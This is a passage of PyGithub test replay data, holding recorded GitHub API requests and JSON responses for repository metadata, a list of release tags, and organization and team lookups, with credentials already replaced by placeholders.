v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-06T21:35:40Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7122,"watchers_count":7122,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":357,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":357,"watchers":7122,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 09:17:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7c11b3f5a19186a7adac381c31badaa3371d9141659ffe0774df39cb990e4c4c"'), ('Last-Modified', 'Mon, 06 Jan 2025 21:35:40 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1736243610'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E552:17154:14F975C:1596001:677CF113')] [{"name":"v2.5.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.5.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.5.0","commit":{"sha":"19ddb9f4fd996e99a5010d271b3c2e76dd280fb5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/19ddb9f4fd996e99a5010d271b3c2e76dd280fb5"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuNS4w"},{"name":"v2.4.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.4.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.4.0","commit":{"sha":"85087354078e426125dbbf88041bbaa6f35d8199","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/85087354078e426125dbbf88041bbaa6f35d8199"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuNC4w"},{"name":"v2.3.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.3.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.3.0","commit":{"sha":"7266e812ed2976ea36a4303edecfe5d75522343f","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7266e812ed2976ea36a4303edecfe5d75522343f"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMy4w"},{"name":"v2.2.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.2.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.2.0","commit":{"sha":"7e7653fb7cb054d3b03dd5f89dea1a2a79350827","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7e7653fb7cb054d3b03dd5f89dea1a2a79350827"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMi4w"},{"name":"v2.1.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.1.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.1.1","commit":{"sha":"e584a90f6706c3b590a20e1c9caac7874ba6b122","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e584a90f6706c3b590a20e1c9caac7874ba6b122"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMS4x"},{"name":"v2.1.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.1.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.1.0","commit":{"sha":"467e0268eac67d0635948f1f3e0313365fb242a1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/467e0268eac67d0635948f1f3e0313365fb242a1"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMS4w"},{"name":"v2.1.0.post0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.1.0.post0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.1.0.post0","commit":{"sha":"035c88f1aae81df6c4cb91c4fb22ccd268a8b335","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/035c88f1aae81df6c4cb91c4fb22ccd268a8b335"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMS4wLnBvc3Qw"},{"name":"v2.0.1-preview","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.1-preview","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.1-preview","commit":{"sha":"50299c92f4a0fdde3e66900e9fbdb75cb3c4d559","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/50299c92f4a0fdde3e66900e9fbdb75cb3c4d559"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4xLXByZXZpZXc="},{"name":"v2.0.0-preview.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.0-preview.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.0-preview.1","commit":{"sha":"62436e6f54be85cd800a5bf4aacd8e34ddac9232","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/62436e6f54be85cd800a5bf4aacd8e34ddac9232"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4wLXByZXZpZXcuMQ=="},{"name":"v2.0.0-preview","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.0-preview","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.0-preview","commit":{"sha":"bc68626941368d6350a6b5bca3321d2143151c01","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/bc68626941368d6350a6b5bca3321d2143151c01"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4wLXByZXZpZXc="},{"name":"v2.0.0-alpha.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.0-alpha.4","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.0-alpha.4","commit":{"sha":"c5a2bb0934ffc04fcd42d0b55e1fec7810bd95b7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c5a2bb0934ffc04fcd42d0b55e1fec7810bd95b7"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4wLWFscGhhLjQ="},{"name":"v2.0.0.-alpha.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.0.-alpha.3","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.0.-alpha.3","commit":{"sha":"d737ccbe2ab54c747374d2a8f1bc9268aa25372d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d737ccbe2ab54c747374d2a8f1bc9268aa25372d"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4wLi1hbHBoYS4z"},{"name":"v2.0.0-alpha.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.0-alpha.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.0-alpha.2","commit":{"sha":"4d4c2ed3c79e4fe4e58b0a7b9dbd976cb92b22bb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4d4c2ed3c79e4fe4e58b0a7b9dbd976cb92b22bb"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4wLWFscGhhLjI="},{"name":"v2.0.0-alpha.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v2.0.0-alpha.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v2.0.0-alpha.1","commit":{"sha":"a27948a3c5ad70f2818379ae07953405fcee9d0d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a27948a3c5ad70f2818379ae07953405fcee9d0d"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjIuMC4wLWFscGhhLjE="},{"name":"v1.59.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.59.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.59.1","commit":{"sha":"8c60234954be68c666417690cfee0463401af7c0","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8c60234954be68c666417690cfee0463401af7c0"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTkuMQ=="},{"name":"v1.59.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.59.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.59.0","commit":{"sha":"14ae2cad4ceeefe9a0f70916af03f0a2017ca213","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/14ae2cad4ceeefe9a0f70916af03f0a2017ca213"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTkuMA=="},{"name":"v1.58.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.58.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.58.2","commit":{"sha":"c2b1db917bbadf9137e0113e97cee1f241319597","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c2b1db917bbadf9137e0113e97cee1f241319597"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTguMg=="},{"name":"v1.58.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.58.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.58.1","commit":{"sha":"dbc26d05d46b5a98693052303da2d1ceaed1516c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbc26d05d46b5a98693052303da2d1ceaed1516c"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTguMQ=="},{"name":"v1.58.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.58.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.58.0","commit":{"sha":"5d1d1612ad4e624b9958e42afe769fc3b3c36503","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5d1d1612ad4e624b9958e42afe769fc3b3c36503"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTguMA=="},{"name":"v1.57","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.57","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.57","commit":{"sha":"948edc5bb370af5a1d0f4925dea2b17f68ef4927","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/948edc5bb370af5a1d0f4925dea2b17f68ef4927"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTc="},{"name":"v1.56","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.56","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.56","commit":{"sha":"c677ced98d157e98015ef85644f8f465af2fa3a3","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c677ced98d157e98015ef85644f8f465af2fa3a3"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTY="},{"name":"v1.55","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.55","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.55","commit":{"sha":"31538337faaa61e104afede75a5fac802c9a1ab3","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31538337faaa61e104afede75a5fac802c9a1ab3"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTU="},{"name":"v1.54.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.54.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.54.1","commit":{"sha":"34d097ce473601624722b90fc5d0396011dd3acb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/34d097ce473601624722b90fc5d0396011dd3acb"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTQuMQ=="},{"name":"v1.54.0.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.54.0.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.54.0.1","commit":{"sha":"069e94dc4da5051ec4adb59a3f2a6ad51862c39f","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/069e94dc4da5051ec4adb59a3f2a6ad51862c39f"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTQuMC4x"},{"name":"v1.54","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.54","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.54","commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTQ="},{"name":"v1.53","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.53","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.53","commit":{"sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTM="},{"name":"v1.52","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.52","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.52","commit":{"sha":"707246519e38ac61c39a482542034b03dc316bba","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/707246519e38ac61c39a482542034b03dc316bba"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTI="},{"name":"v1.51","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.51","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.51","commit":{"sha":"0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0ca534ee1c0d6c6ddcf5f238ffe1838d75a8e082"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTE="},{"name":"v1.50","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.50","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.50","commit":{"sha":"a9f174bd1d6da6cf4053e09349e7e22b0d8fee09","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a9f174bd1d6da6cf4053e09349e7e22b0d8fee09"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNTA="},{"name":"v1.47","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/refs/tags/v1.47","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/refs/tags/v1.47","commit":{"sha":"afb1259a4e52d7bbee8415a523d78c3a428968a8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/afb1259a4e52d7bbee8415a523d78c3a428968a8"},"node_id":"MDM6UmVmMzU0NDQ5MDpyZWZzL3RhZ3MvdjEuNDc="}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.setUp.txt0000644000175100001660000001652014756101563020710 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 09:31:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f93b5f0e7c6e49aeed8ad94226b513de97f9a4198a40ad97004144298f9cc205"'), ('Last-Modified', 'Tue, 20 Aug 2024 08:44:26 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1736243610'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A432:3F0E31:17360F4:17D648A:677CF470')] {"login":"BeaverSoftware","id":1234567,"node_id":"AbCdEfG","url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks","issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/1234567?v=4","description":"DESCRIPTION","name":"BeaverSoftware","company":null,"blog":"https://www.beaversoftware.com","location":"Earth","email":"mail@example.com","twitter_username":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":121,"public_gists":0,"followers":130,"following":0,"html_url":"https://github.com/BeaverSoftware","created_at":"2024-08-30T16:16:41Z","updated_at":"2024-08-20T08:44:26Z","archived_at":null,"type":"Organization","total_private_repos":176,"owned_private_repos":191,"private_gists":null,"disk_usage":null,"collaborators":null,"billing_email":null,"default_repository_permission":null,"members_can_create_repositories":false,"two_factor_requirement_enabled":null,"members_allowed_repository_creation_type":"none","members_can_create_public_repositories":false,"members_can_create_private_repositories":false,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"deploy_keys_enabled_for_repositories":true,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"enterprise","space":123456789,"private_repos":999999,"filled_seats":643,"seats":1024}} https GET api.github.com None /teams/12345678 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 09:31:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"355c12f28bc29a53548177de8b9c54554a9cd66c3b85ee09559047f197ddc28d"'), ('Last-Modified', 'Tue, 18 Jun 2024 10:27:23 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Deprecation', 'Sat, 01 Feb 2020 00:00:00 GMT'), ('Sunset', 'Mon, 01 Feb 2021 00:00:00 GMT'), ('Link', '; rel="deprecation"; type="text/html", ; rel="alternate"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1736243610'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A436:3DA53A:1630C54:16D0FEF:677CF471')] {"name":"Team","id":12345678,"node_id":"AbCdEfG","slug":"team-slug","description":"a team","privacy":"closed","notification_setting":"notifications_disabled","url":"https://api.github.com/organizations/1234567/team/12345678","html_url":"https://github.com/orgs/BeaverSoftware/teams/team-slug","members_url":"https://api.github.com/organizations/1234567/team/12345678/members{/member}","repositories_url":"https://api.github.com/organizations/1234567/team/12345678/repos","permission":"pull","created_at":"2024-06-18T10:27:23Z","updated_at":"2024-06-18T10:27:23Z","members_count":1,"repos_count":0,"organization":{"login":"BeaverSoftware","id":1234567,"node_id":"AbCdEfG","url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks","issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/1234567?v=4","description":"DESCRIPTION","name":"BeaverSoftware","company":null,"blog":"https://www.beaversoftware.com","location":"Earth","email":"mail@example.com","twitter_username":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":121,"public_gists":0,"followers":130,"following":0,"html_url":"https://github.com/BeaverSoftware","created_at":"2016-08-30T16:16:41Z","updated_at":"2024-08-20T08:44:26Z